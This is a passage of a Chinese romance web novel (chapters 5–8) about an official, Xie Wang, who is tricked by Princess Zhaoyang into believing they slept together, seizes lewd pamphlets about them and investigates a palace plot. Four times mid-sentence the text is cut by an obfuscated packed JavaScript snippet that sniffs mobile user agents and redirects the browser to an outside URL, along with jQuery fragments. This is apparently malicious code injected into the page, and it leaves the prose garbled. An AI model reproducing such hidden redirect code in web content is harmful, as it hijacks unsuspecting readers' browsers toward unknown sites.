他还以为谢妄是有什么棘手的公事遇到问题,所以来问他,怎么也没想到接下来从他嘴里说出来的这句话竟然是: “我想问问兄长,男女之间若是行了房,男子可会有什么不同的感觉?” 5. 第五章 谢谦原本坐着喝水,听罢一口水呛住,咳嗽起来。他惊得从椅子上站起来,一边咳嗽一边看向谢妄,语气讶然:“缜之,你同谁……” 谢妄漠然打断:“兄长,不是我,是……”他本想说是自己的一位友人,转念想到自己在京城独来独往惯了,没有这种能拿出来做挡箭牌的友人。 迅速改口:“是万山。” 谢妄说:“万山今日同我说,他前些日子意外喝醉了酒,醒来之后发现自己与那位姑娘躺在一起,那位姑娘说他们昨晚有了肌肤之亲,让万山负责。万山不确定自己是否与那位姑娘当真有过些什么,这才来问我,我也回答不上来,只好来问兄长。” 他面不改色将一切推到万山头上。 谢谦惊讶的神色稍稍收敛,原来是万山,他还以为是缜之。也是,缜之这万年不开花的铁树,怎会做出这样的事?父亲母亲为了他的亲事发愁得不行,他自己倒是一点不着急。 谢谦平复思绪,又重新倒了杯茶水,答谢妄的话:“万山莫不是被骗了?这话术听来有些耳熟,我记得前些年曾办过一个案子,有一个团伙专门做类似的生意,以美貌女子诱骗男人,让男人给钱财消灾。仙人跳,是这个词吧。” 谢妄凝眉,当即反驳:“那女子不会骗他。” 他下意识为陆朝朝说话。 意识到自己的语气太过笃定,谢妄又补充道:“万山与我说,他并未损失任何钱财,那女子也不要他任何钱财。那女子似乎心思单纯,他只是怕那女子也不知晓男女之间的事到底是怎么一回事,所以才来问我。还请兄长解答一二。” 谢谦怔了怔,这话更熟悉了,当时被骗的那些男人每个都这么说:她心思单纯,不可能骗我的,你们一定是搞错了。 不过既然缜之如此笃定,他也不好多说,只道:“这种事,怎么说呢,因人而异吧。有些人可能什么感觉都没有,有些体弱之人或许会有些腰疼?” 他自个新婚第二日神清气爽,还有些亢奋。 谢妄听罢这话,只觉得后腰处似乎的确隐隐作痛。 可他身体康健得很,一点也不体弱。 所以,他那晚真的和昭阳公主发生了一些什么。 但还是很诡异。 他怎么会在昭阳公主的寝宫里出现呢?他失去意识的那段时间里到底发生了些什么?章安澜又为何会在他的卧房里睡了一夜?难道是有人故意为之? 难道,有人记恨昭阳公主,所以特意大费周章将他送到了公主的寝宫,想借此毁掉公主的清白? 他脑子里浮现出了一种可能。 昭阳公主乃今上已故的贤妃之女,当年贤妃入宫后宠冠后宫,今上对她的宠爱人尽皆知,甚至于当年闹出了要废后立贤妃为后的事。但如今的皇后娘娘同样贤良淑德,家世亦无可挑剔,可谓是挑不出一点错处,倘若贸然废后,势必引起轩然大波。群臣反对之下,今上只得打消了这念头。 废后风波之后没多久,今上前往行宫围猎,遇刺客袭击,命悬一线之际,怀胎八月的贤妃挡在了今上身前,救下了今上,但自己却身体虚弱,早产而亡。 昭阳公主从出生之后,便深受今上宠爱,性格略有几分娇纵,在京城内也与许多贵女交恶。只是若仅仅是因为交恶,便做出这样的事来,未免太过狠毒。 谢妄拧眉沉思,分析着其中的可能性。 谢谦见他思索不语,唤了声:“缜之。” 谢妄回过神来,同谢谦告辞:“多谢兄长解惑,我这便去告诉万山。” 谢谦想了想,还是提醒了一句:“你记得告诉万山,千万保管好自己的钱财。” 谢妄嗯了声,转身离去。 回到书房,回想起谢谦的话,谢妄揉了揉自己后腰,的确有酸痛之感。他指节搭在檀木桌案上,又怔住。 可是他真的一点印象也没有了。 这一切到底是怎么发生的?他完全想象不出来自己和昭阳公主…… 谢妄捏了捏眉心,深吸了一口气,又想到别的,他要怎么对公主负责? 虽说大齐民风没有那般保守,但这种事到底是女子吃亏,因此他当时才想着向陛下求娶。可公主说不愿意嫁他,除了求娶,还能如何让弥补公主? 谢妄想不出来。 他只觉得这件事比他以往经历过的任何一件事都要棘手,不能再想下去了。 谢妄吐出一口气,将目光移向一旁对着的书稿上,他伸手拿起一本翻看。 不多时后,谢妄眉头一皱,猛地合上书稿。 “万山。”他语气有些愠怒。 门外的万山再次战战兢兢地进来:“公子,怎么了?” 谢妄想将手中的书稿甩他脸上,思及那上面写的是什么东西,又生生止住了动作,质问道:“这些东西是什么?谁让你放在这儿的?” 万山咽了咽口水,如实道:“公子,上回您不是让他们不许再谣传您同昭阳公主么,这些书稿便是在那些人手中发现的,属下便都收缴了。” 方才谢妄翻看的书稿里写的便是与先前那些谣言如出一辙的东西,是以他和陆朝朝为原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035896|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形的话本,还不是那种普通话本,是……琴瑟话本。 谢妄方才不过翻看了几页,映入眼帘的词汇都让他难以接受。什么香1艳、白1皙、一手可1握、巨1物…… 都是些什么污言秽语! 谢妄太阳穴突突直跳,咬牙切齿道:“谁写的?谁印的?通通抓进去蹲几天。倘若再让我在京城内看见这等东西,我打断你的腿!” 万山:…… 不是,这又不是他写的,怎么要打断他的腿啊? 万山有苦不敢言,只敢应下。 “属下这就去办,属下告退。”万山匆匆跑路,为了保住自己的小腿而奋斗。 谢妄胸口剧烈起伏,他甚少有这般失态之时。他置肘桌案上,扶住额角,余光瞥见那本还被他攥在手中的书稿,迅速扔了。又拿出干净帕子擦了擦手,仿佛刚沾过什么不干净的东西。 京城里的确有一些私下里印制书稿的生意,印的都是一些话本之类,因着没掀起什么大波澜,朝廷一向睁一只眼闭一只眼,也不太管这些。看来真是让他们逍遥太久,无法无天了。 谢妄冷笑一声,什么都敢印制了。 他又看向那摞书稿,打算让人全都烧了,转念想到书稿里的内容,罢了,还是他亲自动手烧了。若是平时,他也许不会想这么多,可如今他的确和昭阳公主有了些什么,倘若别人看了,联想到什么…… - 曦光殿中,陆朝朝光着脚踩在羊绒地毯上,步履轻快,双手背在身后,仿佛一只蹁跹的蝴蝶一般轻盈。她口中还哼着歌儿,任谁见了都知晓她这会儿心情甚好。 她更是不禁拍了拍手,银铃一般的笑声紧随其后。 “宝嘉的这个法子真是太好了,竟真能治谢妄。”陆朝朝回身在美人榻边坐下,用细嫩的长指捏起一块奶糕送进嘴里。 她想在想到谢妄那会儿的表情,还是觉得太有意思了。 这么多年,终于是她大获全胜了。 不过让她失望的是,谢妄还算不上落花流水,他要是能更狼狈一些就更好了。 她将一切都想得很轻巧,按照谢妄的聪明程度,也许很快就会发现她说谎骗他的事,但那又怎样呢,到时候他来兴师问罪也无妨,左右她已经赢了。 再说了,谢妄就算知道真相,也不能拿她怎样。 陆朝朝这么想着,心情更加愉悦,又捏了一块奶糕。 她怎么也没想到,这竟然是大麻烦的开始。 谢妄这回竟然成了一个超级大笨蛋,没有很快就发现她的谎言。 6. 第六章 夜色沉沉,朦胧的月色透过窗牖洒在青色的地砖上,映出一潭春水。 潭中藻荇摇摆,缠上谢妄的胸膛,他原以为那藻荇该是冰凉的,可实际的触感却是温热柔软,有些莫名的熟悉之感。可他一时想不起来那熟悉之感来自何处,再下一瞬,他想起来了,因为那藻荇忽地化作了女子柔嫩的双臂,将他紧紧缠住,无法推拒。 谢妄猛地睁开眼,呼吸有些粗I重。 映入眼帘的是他熟悉的卧房中的青色幔帐,不知哪里来的风,竟吹得幔帐微微晃动。那不知何起的风也吹在谢妄身上,身上才刚发过热汗,经风一吹,愈发觉得凉。 谢妄坐起身,用干净的帕子擦了擦额上的汗。不止他的额上,他的脖颈之间也是汗涔涔的,寝衣后背更是被汗珠浸透。浑身都透着冷,唯有嗓间的炙热之感还未退却,干涸得厉害。 他简单擦了擦额头和脖子的汗,翻身下床,给自己倒了盏茶水。茶水已凉,浸润过干涸的嗓子,终于获得片刻的平缓。 谢妄视线定定落在手中的茶盏上,却已经走了神。 回忆起方才的梦,他脑海中只有两个字:荒唐。 简直太荒唐了。 荒唐至极。 谢妄轻咳一声,落在这静谧的夜色里,仍旧非常刺耳。他将杯中茶水饮尽,又添满,再次饮尽。 他已经许久没做过这般的梦了。 他一向不重欲,自少时开窍以来,两个月才有一回自我抒解,更遑论做这种香I艳的梦。 更诡异的是,梦中的女主角竟然是…… 陆朝朝。 谢妄又将手中杯盏填满,仰头饮尽。 饮得太急,茶水自他嘴角倾洒,钻入他脖颈,与他还未散尽的汗珠相融。 谢妄阖眸,按了按眉心。 一闭上眼,梦中的种种场景便不由自主浮现眼前,陆朝朝赤着身子,白皙纤瘦的胳膊缠住他的胸膛,贴得近极了。她媚眼如丝,声音更是他从未听过的柔媚,唤他:“缜之哥哥,你不喜欢吗?” 谢妄再次猛地睁开眼,好看的眉头紧紧皱成一团。 定然是他今日翻看的那本乱七八糟的书稿的缘故,这种东西果真不能放任其在坊间流通,危害太大了。 谢妄喉结滚了滚,唤道:“来人,备热水。” 门外的千山听得吩咐,很快进来领命,不多时便带着人送来热水,布置好净室等候谢妄沐浴。只是也觉得奇怪,他们公子为何半夜沐浴? 但他并未多问,主子的事他们不该多问。 沐浴过后,谢妄更换了干净的寝衣。从净室出来后,他余光瞥见了桌案上堆着的那摞书稿,不由得蹙眉。 后半夜自然也睡得并不安稳,那个梦带来的冲击太大,时时萦绕在谢妄心头,压根无法忘却。他一闭上眼就是陆朝朝。 谢妄尽力不让自己想,却又不可避免地想,所以那天晚上也是如此么? 他知晓男女之欢为如何一码事,只是他自己不重欲,也从未体验过,纸上得来终觉浅。 打住,够了,谢妄翻了个身,打断自己的思绪。 幽幽一轮月挂在天幕,它从不管人间的悲欢,兀自盈缺。 因着昨夜的折腾,谢妄早起时精神并不太好。他如同往常一般时辰早起,洗漱更衣后,先在明心堂中练了练武,而后用过早膳,便和谢正霄谢谦二人一道出发前往官署。 父子三人的官署并不在一处,谢正霄在内阁,谢谦则在翰林院,至于谢妄,则在刑部。 谢妄一至官署,便问起昨日让千山抓来的那些私自印制书册的人。私印书册的罪名比起刑部其他案子来说实在不够看,因此几人被关押在最外围的牢房之中。 几个人也是战战兢兢,没想到有生之年会蹲到刑部的牢子。他们干私印书册这种事多年,从前也有失手被报官追究的时候,但从前顶多也就进府衙的牢子。 “你们到底犯了什么事啊?怎么连累我们蹲进刑部的大牢了?”其中一人愁眉苦脸地发问。 其余几人齐齐喊冤:“我们哪儿能犯什么大事啊?” 那人又问:“你们莫不是印了什么谋逆的东西?” “我们哪儿敢啊!” …… 正叽叽喳喳说着,忽地听见大牢的走廊上传来脚步声,几人噤声往脚步声传来的方向望去,便见到了一位着绯色官服的英俊男子。 谢妄睨他们一眼,吩咐他们将牢门打开,将人带出来。 几个人识得谢妄,当即跪下磕头认罪,连连求饶。 “谢大人恕罪啊,我们再也不敢私印书册了,还请谢大人网开一面。” 谢妄不动声色审视他们片刻,而后将昨夜翻看过的那本书册摔在他们面前,冷声开口:“本官问你们,谁给你们的胆子写这种东西?” 几个人看了眼那书册封面,面面相觑,才诚惶诚恐道:“谢大人恕罪,小人等只是为了养家糊口,才做这私印书册的生意。可这书册要畅销,那些寻常的书册自然不行,小人等便想着印些话本。可这普通的话本也不好卖,这才……售卖一些以京城内有名气的公子姑娘们为蓝本的话本,只是尺度也……也大了些。” 他说着,说一句都要抹一下汗。 看来谢大人是因为他们售卖了以他为原形的话本,这才生气将他们抓来。 “小人等定然再也不卖了,还请谢大人饶过小人等这回吧。” 谢妄继续质问:“除了本官的,你们还曾售卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035897|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过谁的?” 那人说了几个名字,是京城中另外几个年轻些英俊些的公子。 “还有章安澜章公子的,最受欢迎。” “谢大人,我们真的知错了。我们就是一时猪油蒙了心,因着先前您与昭阳公主的事传得沸沸扬扬,这才想趁着风头大捞一笔,结果……根本卖不出去。” 谢妄听见这话,眉头皱得更深,卖不出去? “为何卖不出去?” “这……小人也不知道啊,总之是销量惨淡,印了几百册,连一册都不曾卖出去过。我们连成本都没挣回来呢,兴许……兴许是因为您和昭阳公主实在不般配,所以才没人买账。” 谢妄冷冷扫他一眼:“难道不是你们写得太过粗鄙放荡?毫无美感,看一眼连眼睛都脏污了。” 那人再次磕头:“您……您还看了么?谢大人恕罪,谢大人恕罪啊!” 在场的几位刑部官员听闻这话,不由得看向谢妄,又不敢看,生生扼住了视线。但谢妄还是察觉到了他们的动作,谢妄不甚自在地解释道:“本官不过随意翻了一页。” 他们哪里敢说什么,只得尴尬道:“这等污秽东西自然不堪入大人的眼,大人放心,下官愿替大人销毁这些东西。” “不必了,本官自会命人销毁。”谢妄冷哼一声,将那本书册捡起,吩咐他们将人再关几日才准放出去。 谢妄回到明心堂时,那摞书稿还在他桌案上堆着。他正欲打开香炉,将那些书稿烧毁,不知为何,又想到那书商说的话。 他与昭阳公主并不般配,所以才无人问津么? 是他们写得太难看了吧。 他承认他从未想过和陆朝朝之间有些什么,但他和陆朝朝不般配么? 未必。 今上曾有几次试探他的意思,询问他对陆朝朝的心思,似乎想将陆朝朝嫁给他。只是他那时心中并无成家之意,故而都委婉拒绝了。 连今上都觉得他们般配,谁敢说他们不般配? 谢妄如此想着,再次翻看起其他的书册。 那一摞书稿有五六种不同的话本,昨夜谢妄翻看的那本,诚如他所言,实在毫无美感,通篇完全只有琴瑟,连词藻都不曾修饰过。他又翻看了其他几本,发觉这几本压根出自同一人之手,只是内容不同,但都毫无美感可言。 他就说,分明是他们写得太烂了,所以才卖不出去。 他按了按眉心,而后打开香炉,将那些书稿都付之一炬。 只是那些东西虽然毫无美感可言,但的确太过粗鄙,极具冲击力,以至于盘旋在谢妄脑海中好几日才勉强被他压下去。 但几日之后,再次见到陆朝朝的时候,那些文字又在他脑中浮现。 7. 第七章 大齐旧例,殿试之后,金榜题名,而后会在宫中琼林苑设宴,宴请新科进士,又称琼林宴。一则,借此让这些即将入朝为官的年轻人,将已在朝中为官的前辈们为国为民之风传承下去,为国效力;二则,琼林宴除却宴请新科进士与朝中官员,皇室中的年轻适龄女子也会出席,意在为她们挑选夫婿。 少女着一袭鹅黄色的百迭裙,明媚轻盈,甫一出现便吸引了全场目光。 “儿臣参见父皇。”陆朝朝平日里或许略显娇纵,但毕竟从小生在皇宫,这等场合还是落落大方,优雅高贵。 “免礼平身,朝朝啊,你来父皇身边坐。”崇光帝一见到这个女儿出现,眸中的笑意都更深了几分。 如今崇光帝膝下有六位公主,大公主早早出嫁,二公主乃皇后嫡出,今年恰好十八,还未定下婚事。三公主便是陆朝朝,今年十七,也尚未定下亲事。四公主今年刚十五岁及笄,虽说不急着定亲,但今日也来了。五公主与六公主尚且年幼,今日并未出席。除却几位公主,还有几位王爷的女儿也来了。 按说女眷们的位置早早安排好了,以二公主为尊,当下崇光帝一开口,宫中内侍便将陆朝朝的位置挪到了崇光帝手边,就挨着崇光帝落座。 如此殊荣,群臣们都已经见怪不怪,只有那些年轻的新科进士们还有些讶然。 “原来这位昭阳公主,竟和传闻说的一样,深得陛下宠爱。”有人小声感慨。 “可不是么,你们说,以陛下对昭阳公主的宠爱程度,若是能尚公主,岂非陛下爱屋及乌……”那人目光落在那美丽动人的少女身上,有些痴心妄想。 被人呵斥:“做什么春秋大梦,昭阳公主乃陛下的掌上明珠,就是有这机会,也轮不上你啊。” 那人讪笑了声,他出身寒门,拼尽全力才终于考得功名,自然想着飞黄腾达。 章安澜听得这话,眸色晦暗几分,握着杯盏的手亦收紧几分力道,只是面上仍如常。 他遥遥朝那台上的少女望去,她是那般耀眼夺目,正如陛下给她的封号,昭阳。多年未见,她和记忆中的模样有些不同,变得更漂亮更动人了。 不知她可还记得他。章安澜分神一瞬。 正巧对上少女的视线。 二人视线隔空相望,章安澜冲着她微微一笑。 陆朝朝没想到自己偷看人会被刚好抓包,一时有些尴尬,移开视线。 又在心中想,章公子真是英俊潇洒风流倜傥啊,她喜欢极了。 如此一想,又暗自遗憾,若是那日没出什么岔子,当下她也许已经和章公子定了亲,成了他名正言顺的未婚妻了。 想着想着,就瞪了眼那个碍事的人。 谢妄深得崇光帝看重,风头无两,坐的位置自然也近,离陆朝朝也很近。她瞪这一眼被谢妄准确无误地接收到了。 谢妄今日一见到陆朝朝,脑海中关于她的那些龌龊画面便接二连三地浮现,他不由得蹙眉,有些鄙夷自己。他一向不屑于此,按说也不该如此,思来想去,还是那些东西太过粗鄙的缘故。 这等场合不该想这些无关的事,谢妄再次将心中那些肮脏的东西压下去,他低头饮了一杯茶水,才觉得心情平复许多。 故而陆朝朝这一眼,竟让他有些心虚。 谢妄定了定心神,她自然不可能知晓自己脑中的想法,故而她瞪自己这一眼定然不是因为他方才脑中的亵渎之意,而是因为别的。 若是从前,谢妄大抵不会多想这一眼是为什么,毕竟陆朝朝一向不喜欢他,对他充满敌意。但如今……他轻而易举便将这一眼归结到那天晚上的事,她在恼怒他对她所做的事。 她的确该恼怒,只是…… 她又不愿嫁给他。 谢妄一时想不出还能如何弥补她,她已经是高高在上的公主,拥有尊贵的地位和无上的荣宠,普通人求之不得的财富或者地位她都已经拥有,她会缺什么呢? 她根本什么都不缺。 或许他该见见她,询问她需要让他做些什么来负责。 谢妄在心中打定主意,待会儿琼林宴结束后,便见见陆朝朝。 陆朝朝才不知道谢妄心里在想什么,比起谢妄,她更在意章安澜,几乎一颗心扑在章安澜身上。她不好太明目张胆地偷看,只好隔一会儿便偷看一下,也不知为何,每次偷看都被抓包,这又让陆朝朝有些不好意思。 章公子会不会以为她太过孟浪轻浮? 陆朝朝的举动被陆皎月看在眼里,陆皎月恨恨咬牙,看向陆朝朝的眼神并不友好。 陆皎月恨陆朝朝,也恨陆朝朝那个早早就死了的母妃。她的母妃在世时,夺走了父皇对她母后的宠爱,后来又差点害她母后丢了皇后之位。后来那个女人终于死了,母后的皇后之位终于少了威胁,可她死了,她的女儿却还活着。 陆朝朝,那个贱人的女儿,几乎抢走了属于她的一切。 她才应该是父皇最疼爱的女儿,她的封号是明月,皎皎天上月,多么尊贵。可父皇给她的封号却是昭阳,皎月如何能与太阳争辉呢? 陆皎月恨陆朝朝,所以从小到大一直和陆朝朝对着干,陆朝朝喜欢的东西她想抢,可是父皇从来都会站在陆朝朝那边。她不甘心。 陆皎月眸光扫过章安澜,嘴角微勾。 她听说过这位新晋状元郎,的确是个不错的人,虽说她原本也没多喜欢,但既然陆朝朝喜欢,那她可就太感兴趣了。 她起身道:“父皇,儿臣觉得章公子很是不错,儿臣甚是喜欢,可否向父皇请旨赐婚?” 她此话一出,众人都看向她和章安澜。 今日这场合本就是为了给皇室女子挑选夫婿,皎月公主此言倒也不算太意外。这位新晋状元郎的确风度翩翩一表人才,讨人喜欢。听闻前些日子也有不少世家贵族向他投去橄榄枝,皆被他拒绝了。 崇光帝看了眼陆皎月,又看向章安澜,并未立刻应下。崇光帝自然也看重这位新晋状元郎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035898|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿试之时便对他颇为欣赏,这般优秀的郎君自然堪做他的女婿。 只是……他更属意他配自己的朝朝。 但陆皎月既然开了口,崇光帝也只好笑问章安澜:“章卿,你可听见了?不知你意下如何啊?” 他并未下旨,便是留有一个转圜的余地。 陆朝朝也被陆皎月这番话吓得心惊,她焦急地看向章安澜,他不会当真喜欢陆皎月吧?若是他应了,那自己可就没机会了。 不对,他若是应了,说明他这人眼光也不怎么样。陆朝朝撇了撇嘴。 下一瞬,便听见章安澜说:“回禀陛下,晏之多谢公主抬爱,只是晏之心中早已经有了倾心之人,还请公主恕罪。” 他不卑不亢,竟是拒绝了。 崇光帝本想再说说陆朝朝,见他这般说,也不好强人所难,只好道:“原来如此,不知章卿心中属意的是哪家姑娘,不妨说给朕听听,朕也可今日成全了你,给你二人赐婚。” 章安澜只说:“多谢陛下,只是晏之还未让她知晓心意,怕惊扰了她。” 崇光帝便也不再说了,转而聊起些旁的事。 陆皎月被下了好大的面子,当她请求赐婚结果父皇只是问他意下如何的时候,她心就往下沉。她早知道的,父皇总是偏心陆朝朝。 若是换了陆朝朝求赐婚,父皇一定二话不说就应下。 陆皎月默默坐下,掐住自己手心,又恨恨地看了眼陆朝朝,最后看向章安澜。 她还是要得到他,必须要得到他。 另一旁的陆朝朝在听见章安澜说自己有心上人之后,也是心碎不已。 他……他竟然有心上人了,她垂头丧气地饮下一杯酒,好伤心好难过。 幸好那天晚上没把他捉来,不然丢脸的就是她了。 她又饮下一杯,没关系,不就是一个男人嘛,有什么大不了的。 呜呜呜呜,可是还是好难过。 陆朝朝一直失魂落魄到琼林宴结束,她向父皇告辞之后,便回曦光殿去。 谢妄穿过人潮,奔着陆朝朝而来。 陆朝朝看见了,她小脸垮得更难看了,以为谢妄一定是来找自己算账的。若是平时,她可能无所谓,但是这会子她心情差极了,实在不想再听谢妄的任何质问或者指责奚落之语。 因而当谢妄还未开口之时,陆朝朝先行开了口,语气萎靡得很:“好了,我知道你想说什么,但是我现在好难过哦,实在不想跟你吵架,我们能不能改天再算账?我现在想回去休息,睡一觉。” 谢妄到了喉口的话全被她一句“我现在好难过哦”堵了回去。 他视线落在她巴掌大的小脸上,的确是愁云惨淡,眉眼俱耷拉着,难过和伤心快要溢出来了,像被欺负狠的小狗似的。谢妄从前一向觉得她有些盛气凌人,甚少有这般落寞的时候。 他也不知怎么,到嘴的话就变成了一句:“殿下为何难过?”语气带着他自己都未曾察觉的关切。 8. 第八章 这话落在陆朝朝耳中实在像是嘲讽,仿佛在说,她做了这样的事竟然还好意思难过似的。 不能怪陆朝朝,实在是谢妄这人从前做过太多这样的事。他那张狗嘴里,从来吐不出象牙来的。 就譬如说,有一年她生病,脸上起了一脸的红疹,特别难看,偏偏那时候赶上千秋宴,世家贵女、世家公子们都要参加,陆朝朝只好用面纱覆面遮盖,可架不住他们的窃窃私语。陆朝朝听得心里不高兴,早早便离了席,半道上委屈得哭了起来,结果遇上了谢妄。 谢妄见她哭,便问她为何哭,她说了原委,谢妄听罢,仔细端详片刻后,竟告诉她:“公主当下的模样的确很丑。” 陆朝朝听了这话,哭得更大声了,好在后来养了些日子,终于是治好了。 又譬如说,有一回她去向老师讨教不懂的学问,恰好谢妄也在。彼时谢妄已经才满京华,老师很是欣赏他,便让陆朝朝向谢妄探讨。她拿着书册去找谢妄,非常有礼貌地问了他一个问题,谢妄露出了完全不能理解的神情,似乎在说她竟然连这都不懂。 那时候陆朝朝脸色已经不好看,但还是忍了下来,听他解答。可他话说得又快,又不仔细,陆朝朝完全没听明白,只好窘迫地问他可不可以再讲一遍。 谁知道谢妄这个讨厌鬼,他竟然说:“原来公主不止脑袋笨,连耳朵也不好。” 陆朝朝当即拉下脸,拎着裙摆气鼓鼓地走了。 再譬如说,有一回陆朝朝新做了一件很漂亮的衣裳,五彩之色,虽然很大胆,但也很漂亮。陆朝朝很喜欢,便穿着参加了雅宴,大家都夸她衣服好看,结果谢妄看见她,不咸不淡地评价:“今日雅宴,主家为何不将染缸收好,竟让公主掉进去了。” 诸如此类的事太多太多了,陆朝朝都不用特别回想,脑海里一抓一大把。所以她越来越不喜欢谢妄,当然,她觉得谢妄也一样不喜欢自己,他更喜欢萧紫渔那般的人。 毕竟先前他们弄了一个京城第一美人的评选,在萧紫渔与她之间徘徊不定。有人便询问谢妄,若是他,他会投给谁。 谢妄投给了萧紫渔。 因着谢妄的选择,不少人都跟了风,所以,最后陆朝朝输给了萧紫渔。 谢妄怎么能这样,连做人最基本的同理心都没有,她都已经这么伤心难过了,他还嘲讽她。陆朝朝撇了撇嘴,恶狠狠瞪了谢妄一眼,而后提着裙摆转身大步离开。 谢妄无端被她瞪了一眼,有些莫名其妙。他好心好意关心她,结果她压根不领情。 因着这插曲,谢妄原本的计划落空,他叹了声,看了眼已经消失不见的背影,回身去寻谢正霄他们。 谢正霄和谢谦二人正停步与人说话,相谈甚欢,待走近,谢妄才发现与他们说话的是章安澜。 谢正霄道:“贤侄能有此见解,让人钦佩。” 谢谦亦道:“是啊,章贤弟年纪轻轻便有这般见解,日后前途不可限量。” 见谢妄过来,二人止住了声音,道:“今日不便多谈,改日再请贤侄至府上一聚。” 章安澜与二人拜别,又看谢妄:“缜之兄,改日再会。” 待章安澜走后,谢正霄叹了声:“这章五的确不错。” 谢妄看了眼章安澜的背影,非常正直地评价:“是不错,不过比我还差一些。” 这话太不自谦,不过好在父子二人已经习惯,并未接话,转而问起:“缜之,你方才去做什么了?怎的耽搁了这么久?” 谢妄道:“没什么,有些事处理,我们回去吧。” - 因着谢妄的“嘲讽”,陆朝朝回到曦光殿后,心情更差劲了。她没精打采地趴在桌上,脑海里回荡着章安澜的那一句“有心上人”。 她的情窦初开,就这么猝不及防地结束了。甚至都还未开始,就结束了。 陆朝朝想着想着,愈发难过起来,不由得红了眼眶。她的人生一向顺风顺水,但凡想要的,父皇都会想办法让她得到,这辈子哪有什么挫折。最大的挫折就是谢妄,如今好了,除了谢妄,又多了一道挫折。 难怪那些戏文话本都把爱情写得缠绵悱恻,原来真的让人愁肠百转。 陆朝朝头一回感受这种失魂落魄的心情,她顿时觉得自己俨然就是那些戏文话本中爱而不得的女主角,如此一想,这伤感的气氛便愈发浓烈。 这种时候,女主角一般都要喝酒的,喝酒消愁。 陆朝朝大手一挥:“风荷,我要喝酒,你去取酒来。” 风荷听得吩咐,让宫娥们取来果子酒,又劝道:“殿下,喝酒伤身,您还是少喝些吧。您莫要太过伤心,世上优秀的郎君有许多,日后还会有许安澜杨安澜的。” 陆朝朝拿起白玉杯,给自己斟满一杯,仰头饮下,呜呜哭道:“可是我想要的是章安澜。” 风荷叹气,又劝:“其实奴婢瞧着,章公子也没那般好,不过是生得好看些,有些才华罢了。奴婢觉得,他也配不上殿下您。” 陆朝朝哼唧道:“呜呜呜,风荷,你别说了,更伤心了。” 她又喝了几杯,忽地眸光一转,落在不远处的雕花铜镜上。 铜镜中映出她的面容,因着喝了两杯酒,白皙的面颊上渗出一点粉色,眼尾泛着红,睫羽上带着晶莹的泪珠,泛着银灯的光。 她怎么感觉,这个样子的自己更漂亮了。 这么漂亮的人,章安澜不喜欢,是他的损失。 陆朝朝放下白玉杯,捧住自己下巴,凑近铜镜,近距离地欣赏起自己的美貌来。 什么伤心难过,什么章安澜,都被短暂地抛之脑后了。 - 待回到明心堂,谢妄还在想陆朝朝最后瞪他的那一眼。 他原本以为她是为着那天晚上的事才瞪他,结果她说自己很难过,所以她是因为遇到了什么伤心的事所以才心情不好? “千山。”谢妄唤他进来,“查查宫中最近可有发生什么事?” 一顿,又补充:“与昭阳公主有关的。” 千山应下。 谢妄又问:“先前让你查的事,查得如何?” 千山恭敬回答:“回公子,属下查到,那天公子在香满楼中与章公子用饭时,有人在香满楼的饭菜中动了手脚。属下本想追查,只是那些人的线索……后来便断了,属下只能查到,那些人似乎是宫里的。” 谢妄凝神,宫里?难道真如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035899|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他所猜测的那般? 宫里厌恨贤妃与昭阳公主的也不少,当年贤妃盛宠太过,实在碍了太多人的眼。若说最有动机的,当属郑皇后,毕竟当年她的后位险些因贤妃丢了。 会是郑皇后么? 可郑皇后一向温婉贤德,至少明面上如此,让人挑不出错处。贤妃都死了这么多年了,难道她会因为恨贤妃所以迁怒昭阳公主,做出这种下作之事? 谢妄不大相信,若他是郑皇后,他不会做这种蠢事。万一东窗事发,陛下追究起来,只会得不偿失。贤妃死后,陛下对郑皇后多少有些愧疚,因此这些年待郑皇后的态度尚可。 除了郑皇后…… 谢妄沉思,想到了郑皇后所出的那位明月公主。 明月公主一向不喜欢昭阳公主,而据谢妄的了解,这位明月公主的确算得上是个蠢货,若是她,做得出这种下作的蠢事。 谢妄垂眸,吩咐千山:“查查明月公主近来在做些什么。” 千山应声而退。 